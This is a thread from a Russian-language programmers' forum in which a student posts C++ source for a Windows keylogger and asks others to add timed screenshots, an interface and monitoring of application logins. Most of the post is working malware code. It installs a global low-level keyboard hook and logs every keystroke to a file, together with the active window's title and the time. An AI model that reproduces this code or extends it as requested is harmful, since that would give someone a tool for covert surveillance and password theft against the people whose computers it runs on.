Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 06.01.2022, 20:12   #1
Gerud
Новичок
Джуниор
 
Регистрация: 06.01.2022
Сообщений: 1
По умолчанию Скриншот по таймеру

Помогите прикрутить к этому Кейлоггеру Скриншот через каждую минуту(с сохранением скринов). Если есть возможность ,добавьте пояснения по коду ,никак не получается сделать скриншот по таймеру. Моим основным языком не является C++(но в университете преподают именно его),по этому я столкнулся с трудностями присоединения самого скриншота в главную функцию. Также у меня не получилось создать минимальный интерфейс для этого кейлогера и функцию мониторинга входа в приложения, если не затруднит , хотелось бы увидеть как это реализуется...
Код:
#include <Windows.h>
#include <time.h>
#include <gdiplus.h>
#include <fstream>

#pragma warning(disable:4996)
#pragma warning(disable:4703)

using namespace std;

int Save(int key);

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lparam);

HHOOK hook;

KBDLLHOOKSTRUCT kbStruct;

ofstream file;

int Save(int key)
{
    char prevProg[256];

    if (key == 1 || key == 2)
    {
        return 0;
    }

    HWND foreground = GetForegroundWindow();

    DWORD threadID;

    HKL keyboardLayout;

    if (foreground)
    {
        threadID = GetWindowThreadProcessId(foreground, NULL);

        keyboardLayout = GetKeyboardLayout(threadID);

        char crrProg[256];

        GetWindowText(foreground, crrProg, 256);

        if (strcmp(crrProg, prevProg) != 0)
        {
            strcpy(prevProg, crrProg);

            time_t t = time(NULL);

            struct tm* tm = localtime(&t);

            char c[64];

            strftime(c, sizeof(c), "%c", tm);

            file << "\n\n\n[Programm: " << crrProg << " DateTime: " << c << "]";
        }
    }
    cout << key << endl;
    if (key == VK_BACK)
        file << "BACKSPACE";
    else if (key == VK_RETURN)
        file << "\n";
    else if (key == VK_SPACE)
        file << " ";
    else if (key == VK_TAB)
        file << "[TAB]";
    else if (key == VK_SHIFT || key == VK_LSHIFT || key == VK_RSHIFT)
        file << "[SHIFT]";
    else if (key == VK_CONTROL || key == VK_LCONTROL || key == VK_RCONTROL)
        file << "[CTRL]";
    else if (key == VK_ESCAPE)
        file << "[ESC]";
    else if (key == VK_END)
        file << "[END]";
    else if (key == VK_HOME)
        file << "[HOME]";
    else if (key == VK_RIGHT)
        file << "[RIGHT]";
    else if (key == VK_LEFT)
        file << "[LEFT]";
    else if (key == VK_UP)
        file << "[UP]";
    else if (key == VK_DOWN)
        file << "[DOWN]";
    else if (key == 190 || key == 110)
        file << "[.]";
    else if (key == 189 || key == 109)
        file << "[-]";
    else if (key == 20)
        file << "[CAPS]";
    else
    {
        char crrKey;

        bool lower = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0);

        if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 ||
            (GetKeyState(VK_LSHIFT) & 0x1000) != 0 ||
            (GetKeyState(VK_RSHIFT) & 0x1000) != 0)
        {
            lower = !lower;
        }

        crrKey = MapVirtualKeyExA(key, MAPVK_VK_TO_CHAR, keyboardLayout);

        if (!lower)
        {
            crrKey = tolower(crrKey);
        }

        file << char(crrKey);
    }

    file.flush();

    return 0;
}
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbStruct = *((KBDLLHOOKSTRUCT*)lParam);
            Save(kbStruct.vkCode);
        }
    }

    return CallNextHookEx(hook, nCode, wParam, lParam);
}


int main()
{
    file.open("keylog.txt", ios_base::app);

    ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1);

    if (!(hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)))
    {
        MessageBox(NULL, "Something has gone wrong!", "Error", MB_ICONERROR);
    }

    MSG message;

    while (true)
    {
        GetMessage(&message, NULL, 0, 0);
    }
Gerud вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Событие по таймеру Velington C# (си шарп) 2 10.07.2013 21:29
Скриншот по таймеру BparHapoga Общие вопросы Delphi 9 14.07.2012 17:04
Вопрос по таймеру -Jack- Общие вопросы Delphi 5 26.11.2011 05:29
Обновление по таймеру Sergey112233 Microsoft Office Excel 20 08.01.2011 15:03
Автосохранения по таймеру ScreN Общие вопросы Delphi 13 09.01.2009 18:49